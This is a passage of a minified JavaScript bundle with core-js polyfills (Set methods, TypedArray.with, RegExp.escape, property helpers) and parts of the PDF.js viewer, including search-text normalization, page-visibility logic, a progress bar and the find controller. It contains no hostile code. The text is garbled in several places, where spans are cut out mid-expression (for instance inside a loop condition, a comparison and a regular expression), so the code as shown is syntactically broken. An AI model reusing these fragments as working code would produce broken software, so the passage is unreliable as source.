x=i.length;x--;)delete C[f][i[x]];return C()};s[m]=!0,h.exports=Object.create||function(T,I){var F;return T!==null?(v[f]=n(T),F=new v,v[f]=null,F[m]=T):F=C(),I===void 0?F:r.f(F,I)}},6801(h,e,t){var n=t(3724),r=t(8686),i=t(4913),s=t(8551),o=t(5397),l=t(1072);e.f=n&&!r?Object.defineProperties:function(c,d){s(c);for(var f=o(d),p=l(d),m=p.length,v=0,y;m>v;)i.f(c,y=p[v++],f[y]);return c}},4913(h,e,t){var n=t(3724),r=t(5917),i=t(8686),s=t(8551),o=t(6969),l=TypeError,u=Object.defineProperty,c=Object.getOwnPropertyDescriptor,d="enumerable",f="configurable",p="writable";e.f=n?i?function(v,y,E){if(s(v),y=o(y),s(E),typeof v=="function"&&y==="prototype"&&"value"in E&&p in E&&!E[p]){var S=c(v,y);S&&S[p]&&(v[y]=E.value,E={configurable:f in E?E[f]:S[f],enumerable:d in E?E[d]:S[d],writable:!1})}return u(v,y,E)}:u:function(v,y,E){if(s(v),y=o(y),s(E),r)try{return u(v,y,E)}catch{}if("get"in E||"set"in E)throw new l("Accessors not supported");return"value"in E&&(v[y]=E.value),v}},7347(h,e,t){var n=t(3724),r=t(9565),i=t(8773),s=t(6980),o=t(5397),l=t(6969),u=t(9297),c=t(5917),d=Object.getOwnPropertyDescriptor;e.f=n?d:function(p,m){if(p=o(p),m=l(m),c)try{return d(p,m)}catch{}if(u(p,m))return s(!r(i.f,p,m),p[m])}},8480(h,e,t){var n=t(1828),r=t(8727),i=r.concat("length","prototype");e.f=Object.getOwnPropertyNames||function(o){return n(o,i)}},3717(h,e){e.f=Object.getOwnPropertySymbols},2787(h,e,t){var n=t(9297),r=t(4901),i=t(8981),s=t(6119),o=t(2211),l=s("IE_PROTO"),u=Object,c=u.prototype;h.exports=o?u.getPrototypeOf:function(d){var f=i(d);if(n(f,l))return f[l];var p=f.constructor;return r(p)&&f instanceof p?p.prototype:f instanceof u?c:null}},1625(h,e,t){var n=t(9504);h.exports=n({}.isPrototypeOf)},1828(h,e,t){var n=t(9504),r=t(9297),i=t(5397),s=t(9617).indexOf,o=t(421),l=n([].push);h.exports=function(u,c){var d=i(u),f=0,p=[],m;for(m in d)!r(o,m)&&r(d,m)&&l(p,m);for(;c.length>f;)r(d,m=c[f++])&&(~s(p,m)||l(p,m));return p}},1072(h,e,t){var n=t(1828),r=t(8727);h.exports=Object.keys||function(s){return n(s,r)}},8773(h,e){var t={}.propertyIsEnumerable,n=Object.getOwnPropertyDescriptor,r=n&&!t.call({1:2},1);e.f=r?function(s){var o=n(this,s);return!!o&&o.enumerable}:t},2967(h,e,t){var n=t(6706),r=t(34),i=t(7750),s=t(3506);h.exports=Object.setPrototypeOf||("__proto__"in{}?function(){var o=!1,l={},u;try{u=n(Object.prototype,"__proto__","set"),u(l,[]),o=l instanceof Array}catch{}return function(d,f){return i(d),s(f),r(d)&&(o?u(d,f):d.__proto__=f),d}}():void 0)},4270(h,e,t){var n=t(9565),r=t(4901),i=t(34),s=TypeError;h.exports=function(o,l){var u,c;if(l==="string"&&r(u=o.toString)&&!i(c=n(u,o))||r(u=o.valueOf)&&!i(c=n(u,o))||l!=="string"&&r(u=o.toString)&&!i(c=n(u,o)))return c;throw new s("Can't convert object to primitive value")}},5031(h,e,t){var n=t(7751),r=t(9504),i=t(8480),s=t(3717),o=t(8551),l=r([].concat);h.exports=n("Reflect","ownKeys")||function(c){var d=i.f(o(c)),f=s.f;return f?l(d,f(c)):d}},8235(h,e,t){var n=t(9504),r=t(9297),i=SyntaxError,s=parseInt,o=String.fromCharCode,l=n("".charAt),u=n("".slice),c=n(/./.exec),d={'\\"':'"',"\\\\":"\\","\\/":"/","\\b":"\b","\\f":"\f","\\n":` +`,"\\r":"\r","\\t":" "},f=/^[\da-f]{4}$/i,p=/^[\u0000-\u001F]$/;h.exports=function(m,v){for(var y=!0,E="";vv.size?l(v.getIterator(),function(E){d(m,E)&&c(y,E)}):o(m,function(E){v.includes(E)&&c(y,E)}),y}},4449(h,e,t){var n=t(7080),r=t(4402).has,i=t(5170),s=t(3789),o=t(8469),l=t(507),u=t(9539);h.exports=function(d){var f=n(this),p=s(d);if(i(f)<=p.size)return o(f,function(v){if(p.includes(v))return!1},!0)!==!1;var m=p.getIterator();return l(m,function(v){if(r(f,v))return u(m.iterator,"normal",!1)})!==!1}},3838(h,e,t){var n=t(7080),r=t(5170),i=t(8469),s=t(3789);h.exports=function(l){var u=n(this),c=s(l);return r(u)>c.size?!1:i(u,function(d){if(!c.includes(d))return!1},!0)!==!1}},8527(h,e,t){var n=t(7080),r=t(4402).has,i=t(5170),s=t(3789),o=t(507),l=t(9539);h.exports=function(c){var d=n(this),f=s(c);if(i(d)C&&(x=u(x,0,C)),f?y+x:x+y)}};h.exports={start:d(!1),end:d(!0)}},2333(h,e,t){var n=t(1291),r=t(655),i=t(7750),s=RangeError,o=Math.floor;h.exports=function(u){var c=r(i(this)),d="",f=n(u);if(f<0||f===1/0)throw new s("Wrong number of repetitions");for(;f>0;(f=o(f/2))&&(c+=c))f%2&&(d+=c);return d}},1548(h,e,t){var n=t(4576),r=t(9039),i=t(9519),s=t(4215),o=n.structuredClone;h.exports=!!o&&!r(function(){if(s==="DENO"&&i>92||s==="NODE"&&i>94||s==="BROWSER"&&i>97)return!1;var l=new ArrayBuffer(8),u=o(l,{transfer:[l]});return l.byteLength!==0||u.byteLength!==8})},4495(h,e,t){var n=t(9519),r=t(9039),i=t(4576),s=i.String;h.exports=!!Object.getOwnPropertySymbols&&!r(function(){var o=Symbol("symbol detection");return!s(o)||!(Object(o)instanceof Symbol)||!Symbol.sham&&n&&n<41})},5610(h,e,t){var n=t(1291),r=Math.max,i=Math.min;h.exports=function(s,o){var l=n(s);return l<0?r(l+o,0):i(l,o)}},5854(h,e,t){var n=t(2777),r=TypeError;h.exports=function(i){var s=n(i,"number");if(typeof s=="number")throw new r("Can't convert number to bigint");return BigInt(s)}},7696(h,e,t){var n=t(1291),r=t(8014),i=RangeError;h.exports=function(s){if(s===void 0)return 0;var o=n(s),l=r(o);if(o!==l)throw new i("Wrong length or index");return l}},5397(h,e,t){var n=t(7055),r=t(7750);h.exports=function(i){return n(r(i))}},1291(h,e,t){var n=t(741);h.exports=function(r){var i=+r;return i!==i||i===0?0:n(i)}},8014(h,e,t){var n=t(1291),r=Math.min;h.exports=function(i){var s=n(i);return s>0?r(s,9007199254740991):0}},8981(h,e,t){var n=t(7750),r=Object;h.exports=function(i){return r(n(i))}},2777(h,e,t){var n=t(9565),r=t(34),i=t(757),s=t(5966),o=t(4270),l=t(8227),u=TypeError,c=l("toPrimitive");h.exports=function(d,f){if(!r(d)||i(d))return d;var p=s(d,c),m;if(p){if(f===void 0&&(f="default"),m=n(p,d,f),!r(m)||i(m))return m;throw new u("Can't convert object to primitive value")}return f===void 0&&(f="number"),o(d,f)}},6969(h,e,t){var n=t(2777),r=t(757);h.exports=function(i){var s=n(i,"string");return r(s)?s:s+""}},2140(h,e,t){var n=t(8227),r=n("toStringTag"),i={};i[r]="z",h.exports=String(i)==="[object z]"},655(h,e,t){var n=t(6955),r=String;h.exports=function(i){if(n(i)==="Symbol")throw new TypeError("Cannot convert a Symbol value to a string");return r(i)}},6823(h){var e=String;h.exports=function(t){try{return e(t)}catch{return"Object"}}},3392(h,e,t){var n=t(9504),r=0,i=Math.random(),s=n(1.1.toString);h.exports=function(o){return"Symbol("+(o===void 0?"":o)+")_"+s(++r+i,36)}},7416(h,e,t){var n=t(9039),r=t(8227),i=t(3724),s=t(6395),o=r("iterator");h.exports=!n(function(){var l=new URL("b?a=1&b=2&c=3","https://a"),u=l.searchParams,c=new URLSearchParams("a=1&a=2&b=3"),d="";return l.pathname="c%20d",u.forEach(function(f,p){u.delete("b"),d+=p+f}),c.delete("a",2),c.delete("b",void 0),s&&(!l.toJSON||!c.has("a",1)||c.has("a",2)||!c.has("a",void 0)||c.has("b"))||!u.size&&(s||!i)||!u.sort||l.href!=="https://a/c%20d?a=1&c=3"||u.get("c")!=="3"||String(new URLSearchParams("?a=1"))!=="a=1"||!u[o]||new URL("https://a@b").username!=="a"||new URLSearchParams(new URLSearchParams("a=b")).get("a")!=="b"||new URL("https://тест").host!=="xn--e1aybc"||new URL("https://a#б").hash!=="#%D0%B1"||d!=="a1c3"||new URL("https://x",void 0).host!=="x"})},7040(h,e,t){var n=t(4495);h.exports=n&&!Symbol.sham&&typeof Symbol.iterator=="symbol"},8686(h,e,t){var n=t(3724),r=t(9039);h.exports=n&&r(function(){return Object.defineProperty(function(){},"prototype",{value:42,writable:!1}).prototype!==42})},2812(h){var e=TypeError;h.exports=function(t,n){if(t1?arguments[1]:void 0)}}),s("includes")},4114(h,e,t){var n=t(6518),r=t(8981),i=t(6198),s=t(4527),o=t(6837),l=t(9039),u=l(function(){return[].push.call({length:4294967296},1)!==4294967297}),c=function(){try{Object.defineProperty([],"length",{writable:!1}).push()}catch(f){return f instanceof TypeError}},d=u||!c();n({target:"Array",proto:!0,arity:1,forced:d},{push:function(p){var m=r(this),v=i(m),y=arguments.length;o(v+y);for(var E=0;E@`~"+l+"]"),S=r(v.exec),w={" ":"t","\n":"n","\v":"v","\f":"f","\r":"r"},C=function(T){var I=p(f(T,0),16);return I.length<3?"\\x"+o(I,2,"0"):"\\u"+o(I,4,"0")},x=!c||c("ab")!=="\\x61b";n({target:"RegExp",stat:!0,forced:x},{escape:function(I){i(I);for(var F=I.length,P=u(F),R=0;R=56320||R+1>=F||(f(I,R+1)&64512)!==56320?P[R]=C(D):(P[R]=D,P[++R]=d(I,R))}}return m(P,"")}})},7642(h,e,t){var n=t(6518),r=t(3440),i=t(9039),s=t(4916),o=!s("difference",function(u){return u.size===0}),l=o||i(function(){var u={size:1,has:function(){return!0},keys:function(){var d=0;return{next:function(){var f=d++>1;return c.has(1)&&c.clear(),{done:f,value:2}}}}},c=new Set([1,2,3,4]);return c.difference(u).size!==3});n({target:"Set",proto:!0,real:!0,forced:l},{difference:r})},8004(h,e,t){var n=t(6518),r=t(9039),i=t(8750),s=t(4916),o=!s("intersection",function(l){return l.size===2&&l.has(1)&&l.has(2)})||r(function(){return String(Array.from(new Set([1,2,3]).intersection(new Set([3,2]))))!=="3,2"});n({target:"Set",proto:!0,real:!0,forced:o},{intersection:i})},3853(h,e,t){var n=t(6518),r=t(4449),i=t(4916),s=!i("isDisjointFrom",function(o){return!o});n({target:"Set",proto:!0,real:!0,forced:s},{isDisjointFrom:r})},5876(h,e,t){var n=t(6518),r=t(3838),i=t(4916),s=!i("isSubsetOf",function(o){return o});n({target:"Set",proto:!0,real:!0,forced:s},{isSubsetOf:r})},2475(h,e,t){var n=t(6518),r=t(8527),i=t(4916),s=!i("isSupersetOf",function(o){return!o});n({target:"Set",proto:!0,real:!0,forced:s},{isSupersetOf:r})},5024(h,e,t){var n=t(6518),r=t(3650),i=t(9835),s=t(4916),o=!s("symmetricDifference")||!i("symmetricDifference");n({target:"Set",proto:!0,real:!0,forced:o},{symmetricDifference:r})},1698(h,e,t){var n=t(6518),r=t(4204),i=t(9835),s=t(4916),o=!s("union")||!i("union");n({target:"Set",proto:!0,real:!0,forced:o},{union:r})},9577(h,e,t){var n=t(4644),r=t(1108),i=t(6198),s=t(1291),o=t(5854),l=n.aTypedArray,u=n.getTypedArrayConstructor,c=n.exportTypedArrayMethod,d=RangeError,f=function(){try{new Int8Array(1).with(2,{valueOf:function(){throw 8}})}catch(m){return m===8}}(),p=f&&function(){try{new Int8Array(1).with(-.5,1)}catch{return!0}}();c("with",function(m,v){var y=l(this),E=i(y),S=s(m),w=S<0?E+S:S,C=r(y)?o(v):+v;if(w>=E||w<0)throw new d("Incorrect index");for(var x=new(u(y))(E),T=0;T{for(var t in e)Ct.o(e,t)&&!Ct.o(h,t)&&Object.defineProperty(h,t,{enumerable:!0,get:e[t]})};Ct.o=(h,e)=>Object.prototype.hasOwnProperty.call(h,e);Ct(4114);Ct(6573);Ct(8100);Ct(7936);Ct(8111);Ct(2489);Ct(7588);Ct(1701);Ct(3110);Ct(5367);Ct(2731);Ct(4628);Ct(6069);Ct(7642);Ct(8004);Ct(3853);Ct(5876);Ct(2475);Ct(5024);Ct(1698);Ct(9577);const{AbortException:BC,AnnotationEditorLayer:kC,AnnotationEditorParamsType:RI,AnnotationEditorType:vn,AnnotationEditorUIManager:jC,AnnotationLayer:UC,AnnotationMode:xi,AnnotationType:pw,applyOpacity:FI,build:DI,ColorPicker:OI,createValidAbsoluteUrl:gw,CSSConstants:MI,DOMSVGFactory:LI,DrawLayer:$C,FeatureTest:mw,fetchData:i1,findContrastColor:NI,getDocument:BI,getFilenameFromUrl:kI,getPdfFilenameFromUrl:HC,getRGB:jI,getRGBA:UI,getUuid:$I,getXfaPageViewport:HI,GlobalWorkerOptions:VI,ImageKind:WI,InvalidPDFException:zI,isDataScheme:GI,isPdfFile:VC,isValidExplicitDest:WC,makeArr:zC,makeMap:GC,makeObj:XI,MathClamp:XC,noContextMenu:_I,normalizeUnicode:_C,OPS:YI,OutputScale:am,PasswordResponses:KI,PDFDataRangeTransport:JI,PDFDateString:ZI,PDFWorker:QI,PermissionFlag:gh,PixelsPerInch:Li,RenderingCancelledException:g0,renderRichText:qI,ResponseException:tR,setLayerDimensions:vw,shadow:Id,SignatureExtractor:eR,stopEvent:m0,SupportedImageMimeTypes:nR,TextLayer:YC,TextLayerImages:KC,TouchManager:rR,updateUrlHash:JC,Util:fb,VerbosityLevel:iR,version:s1,XfaLayer:Dv}=globalThis.pdfjsLib,wr={SPACE:0,ALPHA_LETTER:1,PUNCT:2,HAN_LETTER:3,KATAKANA_LETTER:4,HIRAGANA_LETTER:5,HALFWIDTH_KATAKANA_LETTER:6,THAI_LETTER:7};function ZC(h){return h<11904}function QC(h){return(h&65408)===0}function qC(h){return h>=97&&h<=122||h>=65&&h<=90}function tT(h){return h>=48&&h<=57}function eT(h){return h===32||h===9||h===13||h===10}function nT(h){return h>=13312&&h<=40959||h>=63744&&h<=64255}function rT(h){return h>=12448&&h<=12543}function iT(h){return h>=12352&&h<=12447}function sT(h){return h>=65376&&h<=65439}function aT(h){return(h&65408)===3584}function mg(h){return ZC(h)?QC(h)?eT(h)?wr.SPACE:qC(h)||tT(h)||h===95?wr.ALPHA_LETTER:wr.PUNCT:aT(h)?wr.THAI_LETTER:h===160?wr.SPACE:wr.ALPHA_LETTER:nT(h)?wr.HAN_LETTER:rT(h)?wr.KATAKANA_LETTER:iT(h)?wr.HIRAGANA_LETTER:sT(h)?wr.HALFWIDTH_KATAKANA_LETTER:wr.ALPHA_LETTER}let fo;function oT(){if(!fo){const h=[],e=[],t=new RegExp("^\\p{M}$","u");for(let r=0;r<65536;r++){if(r>=55296&&r<=57343)continue;const i=String.fromCharCode(r);if(i.normalize("NFKC")!==i&&!t.test(i)){if(e.length!==2){e[0]=e[1]=r;continue}e[1]+1!==r?(e[0]===e[1]?h.push(String.fromCharCode(e[0])):h.push(`${String.fromCharCode(e[0])}-${String.fromCharCode(e[1])}`),e[0]=e[1]=r):e[1]=r}}const n=h.join("");if(!fo)fo=n;else if(n!==fo){for(let r=1;ru),r.lastX=l;const c=h.scrollTop,d=r.lastY;c!==d&&(r.down=c>d),r.lastY=c,e(r)}))},r={right:!0,down:!0,lastX:h.scrollLeft,lastY:h.scrollTop,_eventHandler:n};let i=null;return h.addEventListener("scroll",n,{useCapture:!0,signal:t}),t==null||t.addEventListener("abort",()=>window.cancelAnimationFrame(i),{once:!0}),r}function xv(h){const e=new Map;for(const[t,n]of new URLSearchParams(h))e.set(t.toLowerCase(),n);return e}const h1=/[\x00-\x1F]/g;function bd(h,e=!1){return h1.test(h)?e?h.replaceAll(h1,t=>t==="\0"?"":" "):h.replaceAll("\0",""):h}function Rd(h,e,t=0){let n=t,r=h.length-1;if(r<0||!e(h[r]))return h.length;if(e(h[n]))return n;for(;n>1,s=h[i];e(s)?r=i:n=i+1}return n}function u1(h){if(Math.floor(h)===h)return[h,1];const e=1/h,t=8;if(e>t)return[1,t];if(Math.floor(e)===e)return[1,e];const n=h>1?e:h;let r=0,i=1,s=1,o=1;for(;;){const u=r+s,c=i+o;if(c>t)break;n<=u/c?(s=u,o=c):(r=u,i=c)}let l;return n-r/i=t&&(n=e[h-1].div,r=n.offsetTop+n.clientTop);for(let i=h-2;i>=0&&(n=e[i].div,!(n.offsetTop+n.clientTop+n.clientHeight<=r));--i)h=i;return h}function gT({scrollEl:h,views:e,sortByVisibility:t=!1,horizontal:n=!1,rtl:r=!1}){const i=h.scrollTop,s=i+h.clientHeight,o=h.scrollLeft,l=o+h.clientWidth;function u(S){const w=S.div;return w.offsetTop+w.clientTop+w.clientHeight>i}function c(S){const w=S.div,C=w.offsetLeft+w.clientLeft,x=C+w.clientWidth;return r?Co}const d=[],f=new Set,p=e.length;let m=Rd(e,n?c:u);m>0&&m=s&&(v=R);else if((n?x:T)>v)break;if(R<=i||T>=s||P<=o||x>=l)continue;const D=Math.max(0,i-T),k=Math.max(0,o-x),N=D+Math.max(0,R-s),H=k+Math.max(0,P-l),X=(F-N)/F,j=(I-H)/I,U=X*j*100|0;d.push({id:w.id,x,y:T,visibleArea:U===100?null:{minX:k,minY:D,maxX:Math.min(P,l)-x,maxY:Math.min(R,s)-T},view:w,percent:U,widthPercent:j*100|0}),f.add(w.id)}const y=d[0],E=d.at(-1);return t&&d.sort(function(S,w){const C=S.percent-w.percent;return Math.abs(C)>.001?-C:S.id-w.id}),{first:y,last:E,views:d,ids:f}}function bw(h){return Number.isInteger(h)&&h%90===0}function mT(h){return Number.isInteger(h)&&Object.values(St).includes(h)&&h!==St.UNKNOWN}function vT(h){return Number.isInteger(h)&&Object.values(tn).includes(h)&&h!==tn.UNKNOWN}function c1(h){return h.width<=h.height}new Promise(function(h){window.requestAnimationFrame(h)});const yT=document.documentElement.style;var Wa,_l,za,oc,Yl;class bT{constructor(e){b(this,Wa,null);b(this,_l,null);b(this,za,0);b(this,oc,null);b(this,Yl,!0);g(this,Wa,e.classList),g(this,oc,e.style)}get percent(){return a(this,za)}set percent(e){if(g(this,za,e),isNaN(e)){a(this,Wa).add("indeterminate");return}a(this,Wa).remove("indeterminate"),a(this,oc).setProperty("--progressBar-percent",`${a(this,za)}%`)}setWidth(e){if(!e)return;const n=e.parentNode.offsetWidth-e.offsetWidth;n>0&&a(this,oc).setProperty("--progressBar-end-offset",`${n}px`)}setDisableAutoFetch(e=5e3){a(this,za)===100||isNaN(a(this,za))||(a(this,_l)&&clearTimeout(a(this,_l)),this.show(),g(this,_l,setTimeout(()=>{g(this,_l,null),this.hide()},e)))}hide(){a(this,Yl)&&(g(this,Yl,!1),a(this,Wa).add("hidden"))}show(){a(this,Yl)||(g(this,Yl,!0),a(this,Wa).remove("hidden"))}}Wa=new WeakMap,_l=new WeakMap,za=new WeakMap,oc=new WeakMap,Yl=new WeakMap;function AT(h){let e=St.VERTICAL,t=tn.NONE;switch(h){case"SinglePage":e=St.PAGE;break;case"OneColumn":break;case"TwoPageLeft":e=St.PAGE;case"TwoColumnLeft":t=tn.ODD;break;case"TwoPageRight":e=St.PAGE;case"TwoColumnRight":t=tn.EVEN;break}return{scrollMode:e,spreadMode:t}}const yg=function(){const h=document.createElement("div");return h.style.width="round(down, calc(1.6666666666666665 * 792px), 1px)",h.style.width==="calc(1320px)"?Math.fround:e=>e}(),zs={FOUND:0,NOT_FOUND:1,WRAPPED:2,PENDING:3},ET=250,d1={"‐":"-","‘":"'","’":"'","‚":"'","‛":"'","“":'"',"”":'"',"„":'"',"‟":'"',"¼":"1/4","½":"1/2","¾":"3/4"},f1=new Set([12441,12442,2381,2509,2637,2765,2893,3021,3149,3277,3387,3388,3405,3530,3642,3770,3972,4153,4154,5908,5940,6098,6752,6980,7082,7083,7154,7155,11647,43014,43052,43204,43347,43456,43766,44013,3158,3953,3954,3962,3963,3964,3965,3968,3956]);let p1;const wT=new RegExp("\\p{M}+","gu"),xT=new RegExp("([+^$|])|(\\p{P}+)|(\\s+)|(\\p{M})|(\\p{L})","gu"),ST=new RegExp("([^\\p{M}])\\p{M}*$","u"),CT=new RegExp("^\\p{M}*([^\\p{M}])","u"),TT=/[\uAC00-\uD7AF\uFA6C\uFACF-\uFAD1\uFAD5-\uFAD7]+/g,g1=new Map,PT="[\\u1100-\\u1112\\ud7a4-\\ud7af\\ud84a\\ud84c\\ud850\\ud854\\ud857\\ud85f]",m1=new Map;let Mv=null,Lv=null;function om(h,e={}){const t=[];let n;for(;(n=TT.exec(h))!==null;){let{index:S}=n;for(const w of n[0]){let C=g1.get(w);C||(C=w.normalize("NFD").length,g1.set(w,C)),t.push([C,S++])}}const r=t.length>0,i=e.ignoreDashEOL??!1;let s;if(!r&&Mv)s=Mv;else if(r&&Lv)s=Lv;else{const S=Object.keys(d1).join(""),w=oT(),I=[`[${S}]`,`[${w}]`,"(?:゙|゚)\\n","\\p{M}+(?:-\\n)?","\\p{Ll}-\\n(?=\\p{Ll})|\\p{Lu}-\\n(?=\\p{L})","\\S-\\n","(?:\\p{Ideographic}|[぀-ヿ])\\n","\\n",r?PT:"\\u0000"];s=new RegExp(I.map(F=>`(${F})`).join("|"),"gum"),r?Lv=s:Mv=s}const o=[];for(;(n=wT.exec(h))!==null;)o.push([n[0].length,n.index]);let l=h.normalize("NFD");const u=[0,0];let c=0,d=0,f=0,p=0,m=0,v=!1;l=l.replace(s,(S,w,C,x,T,I,F,P,R,D,k)=>{var N,H,X;if(k-=p,w){const j=d1[w],U=j.length;for(let z=1;z>1),E=new Int32Array(u.length>>1);for(let S=0,w=u.length;S>1]=u[S],E[S>>1]=u[S+1];return[l,[y,E],v]}function Aw(h,e,t){if(!h)return[e,t];const[n,r]=h,i=e,s=e+t-1;let o=Rd(n,f=>f>=i);n[o]>i&&--o;let l=Rd(n,f=>f>=s,o);n[l]>s&&--l;const u=i+r[o],d=s+r[l]+1-u;return[u,d]}var ve,lc,Kl,mi,ms,tt,Ew,v0,y0,ww,xw,b0,Sw,Cw,lm,cd,yo,Tw,A0,E0,hm,Pw,Iw,w0,x0,dd;class IT{constructor({linkService:e,eventBus:t,updateMatchesCountOnProgress:n=!0}){b(this,tt);b(this,ve,null);b(this,lc,!0);b(this,Kl,0);b(this,mi,null);b(this,ms,null);this._linkService=e,this._eventBus=t,g(this,lc,n),this.onIsPageVisible=null,A(this,tt,v0).call(this),t._on("find",A(this,tt,Ew).bind(this)),t._on("findbarclose",A(this,tt,Iw).bind(this)),t._on("pagesedited",A(this,tt,Pw).bind(this))}get highlightMatches(){return this._highlightMatches}get pageMatches(){return this._pageMatches}get pageMatchesLength(){return this._pageMatchesLength}get selected(){return this._selected}get state(){return a(this,ve)}setDocument(e){this._pdfDocument&&A(this,tt,v0).call(this),e&&(this._pdfDocument=e,this._firstPageCapability.resolve())}scrollMatchIntoView({element:e=null,pageIndex:t=-1,matchIndex:n=-1}){if(!(!this._scrollMatches||!e)){{if(n===-1||n!==this._selected.matchIdx)return;if(t===-1||t!==this._selected.pageIdx)return}this._scrollMatches=!1,e.scrollIntoView({block:"start",inline:"center"})}}match(e,t,n){const r=this._hasDiacritics[n];let i=!1;if(typeof e=="string"?[i,e]=A(this,tt,b0).call(this,e,r):e=e.sort().reverse().map(d=>{const[f,p]=A(this,tt,b0).call(this,d,r);return i||(i=f),`(${p})`}).join("|"),!e)return;const{caseSensitive:s,entireWord:o}=a(this,ve),l=`g${i?"u":""}${s?"":"i"}`;e=new RegExp(e,l);const u=[];let c;for(;(c=e.exec(t))!==null;)o&&!A(this,tt,xw).call(this,t,c.index,c[0].length)||u.push({index:c.index,length:c[0].length});return u}}ve=new WeakMap,lc=new WeakMap,Kl=new WeakMap,mi=new WeakMap,ms=new WeakMap,tt=new WeakSet,Ew=function(e){if(!e)return;const t=this._pdfDocument,{type:n}=e;(a(this,ve)===null||A(this,tt,ww).call(this,e))&&(this._dirtyMatch=!0),g(this,ve,e),n!=="highlightallchange"&&A(this,tt,dd).call(this,zs.PENDING),this._firstPageCapability.promise.then(()=>{if(!this._pdfDocument||t&&this._pdfDocument!==t)return;A(this,tt,Cw).call(this);const r=!this._highlightMatches,i=!!this._findTimeout;this._findTimeout&&(clearTimeout(this._findTimeout),this._findTimeout=null),n?this._dirtyMatch?A(this,tt,yo).call(this):n==="again"?(A(this,tt,yo).call(this),r&&a(this,ve).highlightAll&&A(this,tt,cd).call(this)):n==="highlightallchange"?(i?A(this,tt,yo).call(this):this._highlightMatches=!0,A(this,tt,cd).call(this)):A(this,tt,yo).call(this):this._findTimeout=setTimeout(()=>{A(this,tt,yo).call(this),this._findTimeout=null},ET)})},v0=function(){this._highlightMatches=!1,this._scrollMatches=!1,this._pdfDocument=null,this._pageMatches=[],this._pageMatchesLength=[],g(this,Kl,0),g(this,ve,null),this._selected={pageIdx:-1,matchIdx:-1},this._offset={pageIdx:null,matchIdx:null,wrapped:!1},this._extractTextPromises=[],this._pageContents=[],this._pageDiffs=[],this._hasDiacritics=[],this._matchesCountTotal=0,this._pagesToSearch=null,this._pendingFindMatches=new Set,this._resumePageIdx=null,this._dirtyMatch=!1,clearTimeout(this._findTimeout),this._findTimeout=null,g(this,mi,null),this._firstPageCapability=Promise.withResolvers()},y0=function(){const{query:e}=a(this,ve);return typeof e=="string"?(e!==this._rawQuery&&(this._rawQuery=e,[this._normalizedQuery]=om(e)),this._normalizedQuery):(e||[]).filter(t=>!!t).map(t=>om(t)[0])},ww=function(e){var s;const t=e.query,n=a(this,ve).query,r=typeof t;if(r!==typeof n)return!0;if(r==="string"){if(t!==n)return!0}else if(JSON.stringify(t)!==JSON.stringify(n))return!0;switch(e.type){case"again":const o=this._selected.pageIdx+1,l=this._linkService;return o>=1&&o<=l.pagesCount&&o!==l.page&&!(((s=this.onIsPageVisible)==null?void 0:s.call(this,o))??!0);case"highlightallchange":return!1}return!0},xw=function(e,t,n){let r=e.slice(0,t).match(ST);if(r){const i=e.charCodeAt(t),s=r[1].charCodeAt(0);if(mg(i)===mg(s))return!1}if(r=e.slice(t+n).match(CT),r){const i=e.charCodeAt(t+n-1),s=r[1].charCodeAt(0);if(mg(i)===mg(s))return!1}return!0},b0=function(e,t){const{matchDiacritics:n}=a(this,ve);let r=!1;const i=(o,l)=>o===e?l:e.startsWith(o)?`${l}[ ]*`:e.endsWith(o)?`[ ]*${l}`:`[ ]*${l}[ ]*`;e=e.replaceAll(xT,(o,l,u,c,d,f)=>l?i(l,RegExp.escape(l)):u?i(u,RegExp.escape(u)):c?"[ ]+":n?d||f:d?f1.has(d.charCodeAt(0))?d:"":t?(r=!0,`${f}\\p{M}*`):f);const s="[ ]*";return e.endsWith(s)&&(e=e.slice(0,e.length-s.length)),n&&t&&(p1||(p1=String.fromCharCode(...f1)),r=!0,e=`${e}(?=[${p1}]|[^\\p{M}]|$)`),[r,e]},Sw=function(e){if(!a(this,ve))return;const t=a(this,tt,y0);if(t.length===0)return;const n=this._pageContents[e],r=this.match(t,n,e),i=this._pageMatches[e]=[],s=this._pageMatchesLength[e]=[],o=this._pageDiffs[e];r==null||r.forEach(({index:u,length:c})=>{const[d,f]=Aw(o,u,c);f&&(i.push(d),s.push(f))}),a(this,ve).highlightAll&&A(this,tt,lm).call(this,e),this._resumePageIdx===e&&(this._resumePageIdx=null,A(this,tt,A0).call(this));const l=i.length;this._matchesCountTotal+=l,a(this,lc)?l>0&&A(this,tt,x0).call(this):++ie(this,Kl)._===this._linkService.pagesCount&&A(this,tt,x0).call(this)},Cw=function(){if(this._extractTextPromises.length>0)return;let e=Promise.resolve();const t={disableNormalization:!0},n=this._pdfDocument;for(let r=0,i=this._linkService.pagesCount;r{if(n!==this._pdfDocument){o();return}await n.getPage(r+1).then(l=>l.getTextContent(t)).then(l=>{const u=[];for(const c of l.items)u.push(c.str),c.hasEOL&&u.push(` +`);[this._pageContents[r],this._pageDiffs[r],this._hasDiacritics[r]]=om(u.join("")),o()},l=>{console.error(`Unable to get text content for page ${r+1}`,l),this._pageContents[r]="",this._pageDiffs[r]=null,this._hasDiacritics[r]=!1,o()})})}},lm=function(e){this._scrollMatches&&this._selected.pageIdx===e&&(this._linkService.page=e+1),this._eventBus.dispatch("updatetextlayermatches",{source:this,pageIndex:e})},cd=function(){this._eventBus.dispatch("updatetextlayermatches",{source:this,pageIndex:-1})},yo=function(){const e=a(this,ve).findPrevious,t=this._linkService.page-1,n=this._linkService.pagesCount;if(this._highlightMatches=!0,this._dirtyMatch){this._dirtyMatch=!1,this._selected.pageIdx=this._selected.matchIdx=-1,this._offset.pageIdx=t,this._offset.matchIdx=null,this._offset.wrapped=!1,this._resumePageIdx=null,this._pageMatches.length=0,this._pageMatchesLength.length=0,g(this,Kl,0),this._matchesCountTotal=0,A(this,tt,cd).call(this);for(let s=0;s{this._pendingFindMatches.delete(s),A(this,tt,Sw).call(this,s)}))}if(a(this,tt,y0).length===0){A(this,tt,dd).call(this,zs.FOUND);return}if(this._resumePageIdx)return;const i=this._offset;if(this._pagesToSearch=n,i.matchIdx!==null){const s=this._pageMatches[i.pageIdx].length;if(!e&&i.matchIdx+10){i.matchIdx=e?i.matchIdx-1:i.matchIdx+1,A(this,tt,hm).call(this,!0);return}A(this,tt,E0).call(this,e)}A(this,tt,A0).call(this)},Tw=function(e){const t=this._offset,n=e.length,r=a(this,ve).findPrevious;return n?(t.matchIdx=r?n-1:0,A(this,tt,hm).call(this,!0),!0):(A(this,tt,E0).call(this,r),t.wrapped&&(t.matchIdx=null,this._pagesToSearch<0)?(A(this,tt,hm).call(this,!1),!0):!1)},A0=function(){this._resumePageIdx!==null&&console.error("There can only be one pending page.");let e=null;do{const 